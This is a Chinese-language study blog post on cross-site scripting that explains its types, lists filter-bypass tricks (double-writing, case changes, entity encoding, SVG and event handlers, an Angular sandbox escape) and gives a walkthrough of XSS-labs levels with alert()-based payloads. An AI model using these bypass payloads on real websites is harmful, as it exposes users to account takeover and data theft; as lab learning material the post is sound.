本文是自己的二次回顾 XSS,包含原理,分类,bypass 技巧以及 XSS-labs 的 wp

本文写于26/8/25,后续可能会随着学习而更新(插个眼)

原理

Cross-site scripting,跨站脚本攻击,即 XSS

取名为 XSS 目的是为了和 CSS 区分开来

原理:操纵存在漏洞的网站,使其向用户返回恶意 JavaScript 代码。当恶意代码在受害者的浏览器中执行时,攻击者就能完全控制用户与应用程序的交互

分类

XSS 漏洞主要分为3类:反射类,存储类,DOM类

  • Reflected XSS,注入 XSS 后即时得到响应,具有即时性
  • Stored XSS,注入 XSS 后该数据被存储在服务器中,每当别的用户访问注入了 XSS 攻击的网页时即会触发攻击,具有持续性
  • DOM-based XSS,用户将恶意的 JavaScript 参数,JavaScript 读取的时候执行从而导致漏洞

可能造成的影响

冒充或伪装成受害用户。
执行用户能够执行的任何操作。
读取用户有权访问的任何数据。
获取用户的登录凭据。
对网站进行虚拟篡改。
在网站中注入木马程序功能。

探测是否存在 XSS 可以通过 alert() 来实现,但是由于 Chrome 浏览器的限制,从 92 版本(2021 年 7 月 20 日)开始,跨域 iframe 无法调用 alert(),因此我们后续可以使用 print() 来替代 alert()

常见的绕过方式

想来学习了这么多的 Web 安全漏洞,有很多绕过方式都是共通的,无非是构造形式不同。因此这里把绕过方式分为一般绕过和 XSS 特有的绕过

一般的绕过方式

双写绕过

与 SQL 注入中的一致,成因都是将字符串替换为空字符串

源码类似这样:

$str =strtolower( $_GET["keyword"]);
$str2=str_replace("script","",$str);
$str3=str_replace("on","",$str2);
$str4=str_replace("src","",$str3);
$str5=str_replace("data","",$str4);
$str6=str_replace("href","",$str5);

我们可以进行如下绕过:

href --> hrhrefef

衍生变体有多次替换,同样,可多次构造双写绕过

大小写绕过

这里成因一般是使用了正则表达式去匹配字符串/字符,但是没有加上 i 这个修饰符

我们可以进行如下绕过:

href --> hREf

空格绕过

成因一般是直接黑名单匹配到 而忽略了可使用其他编码转换为空格的问题

若是直接删除了空格会导致我们的 payload 无法被正确解析

有很多可以替代空格的编码,常见的如下:

%0A //换行符
%20 //空格
%09 //Tab
%0D //回车符
%0C //换页符

我们可以进行如下绕过:

空格 --> %0A

闭合绕过

类似 SQL 注入,成因是直接将输入插入到源码中

我们可以使用 <、>、"、' 等去闭合前面的标签,在后面构造自己想要的 payload

可以进行如下绕过:

"><script>alert(0n1y);</script>

注释绕过

后端检测必须得包含 http://,这时可以将其注释掉

可以进行如下绕过:

javascr&#x69;pt:alert(1)//http://

注释的方法不止一种(

XSS 特有的绕过

htmlspecialchars()

这里的漏洞仅 PHP 版本小于 8.1.0 时适用,PHP 8.1.0 版本此漏已经修复

官方文档

此函数会将一些字符实体化,在 PHP 8.1.0 以下的版本会将 <、>、&、" 转义

但是我们可以发现单引号 ' 未被转义

因此可以考虑事件处理器去进行绕过:

' onmouseover=javascript:alert(0n1y) '

在 PHP 8.1.0 以上的版本该函数同时会将 ' 进行转义

/空格绕过

在 HTML 中,可以在标签内部的一些位置使用 / 进行空格绕过

常见可使用位置有标签名和第一个属性之间和属性与属性之间

我们可以构造如下绕过:

<img src="x" onerror="alert(0n1y)">
变化为
<img/src="x"/onerror="alert(0n1y)">

引号内不能使用此法(在引号内,/ 会被解析成文本内容,类似路径,不具备空格绕过能力)

href的妙用

对于 HTML 中的某些属性,它们是支持 Javascript伪协议 的

因此我们可以使用比如 href 去达到执行 JavaScript 代码的作用

如下的标签都支持 Javascript伪协议

<a> 的 href
<area> 的 href
<form> 的 action

<iframe> 的 src
<object> 的 data

我们可以构造如下绕过:

<a href="javascript:alert('0n1y')">0n1y</a>

HTML实体化的奇葩技巧(HTML Entity)

我们在 htmlspecialchars() 中提到过 HTML实体化 这个概念

使用此法的目标是绕过一些黑名单,比如说 JavaScript 等等

在 href的妙用 中提到的支持 JavaScript伪协议 的都支持 HTML实体化

HTML实体 有两种表示方式:数字实体 和 命名实体,其中 数字实体 又可分为 10进制实体 和 16进制实体

所有字符都有数字实体,但只有一小部分字符有命名实体

可使用 cyberchef 进行 HTML实体 转换

我们可以尝试以下构造:

javascr&#x69;pt:alert(0n1y)

当心SVG

svg 常常在严格过滤 <script> 标签的时候使用

可以用诸多事件处理器例如 onclick,onmouseover,onload

我们可以采取如下构造:

<svg onload=alert(1)>

菜鸟教程-SVG

编码绕过

HTML实体化 — 老大,能改变协议本身

Unicode编码 — 在 JavaScript 解析上下文当中(比如 <script>

hex/8进制编码 — 在 JavaScript 解析上下文当中(比如 javascript: 伪协议

URL编码 — 多见于双重编码,需要在 url 框或者 JavaScript 上下文

(已经废除)Angular

因为 Google 官方已经废除了 Angular 沙盒,因此我对此仅做了了解

在 XSS-labs 里面有字段采用了 include 从而导致文件包含漏洞存在的可能

这个框架还支持模板渲染,也可以利用,具体可以看探姬jj推荐的文章:

{{'a'.constructor.prototype.charAt=[].join;$eval('x=1} } };alert(1)//');}}

XSS-labs

level1

很明显的 GET 传参

<script>alert(1);</script>

level2

这里我们的:

<script>alert(1);</script>

被转义成:

&lt;script&gt;alert(1);&lt;/script&gt;

但 input 的 value 未进行转义,这里我们采取闭合构造:

"><script>alert("1")</script>

level3

这下我们的 keyword 的 value 也被转义了

这里使用了一个函数 htmlspecialchars(),其可以将 <、>、&、'、" 都转义

但 php 8.1.0 版本以下的 htmlspecialchars() 对 ' 默认不会进行转义

(这里从 keyword 的 value 结果也可以看出 ' 没有被转义)

因此可以在此下文章:

' onmouseover=javascript:alert(1) '

//这里的 javascript 是可省伪协议

当鼠标指针进入某个元素时,就会发生 onmouseover 事件

level4

这里我们尝试后发现题目会将 < 和 > 直接删除

但是双引号未被过滤:

" onmouseover=javascript:alert(1) "

level5

这里 script 和 onmouseover 均会被替换为其他字符串

尝试 href

"> <a href=javascript:alert(1)>0n1y</a>

level6

这里发现 href 也被替换了,尝试大小写绕过:

"> <a hREf=javascript:alert(1)>0n1y</a>

level7

闭合+双写绕过:

"> <scriscriptpt>alert(1);</scriscriptpt>

level8

进行 HTML 实体绕过即可:

javascr&#x69;pt:alert(1)

工具:
https://mothereff.in/html-entities

level9

这里必须要包含 http://

直接放在后面并且注释掉就好

javascr&#x69;pt:alert(1)//http://

level10~level13

都是字段注入,没什么其他绕过点,略

level14

貌似题目有问题,打不开

level15

angular 框架,其中 src 字段采用了 include 函数,我们可以引入想要的文件

比如这里可以引入 level1 的文件后传参即可:

?src='level1.php?name=<img src=abc onerror=alert(1)>'

level16

空格过滤:

<img%0Asrc=1%0Aonerror="alert(1)">

level17~level20

都是已经废弃了的 flash 的利用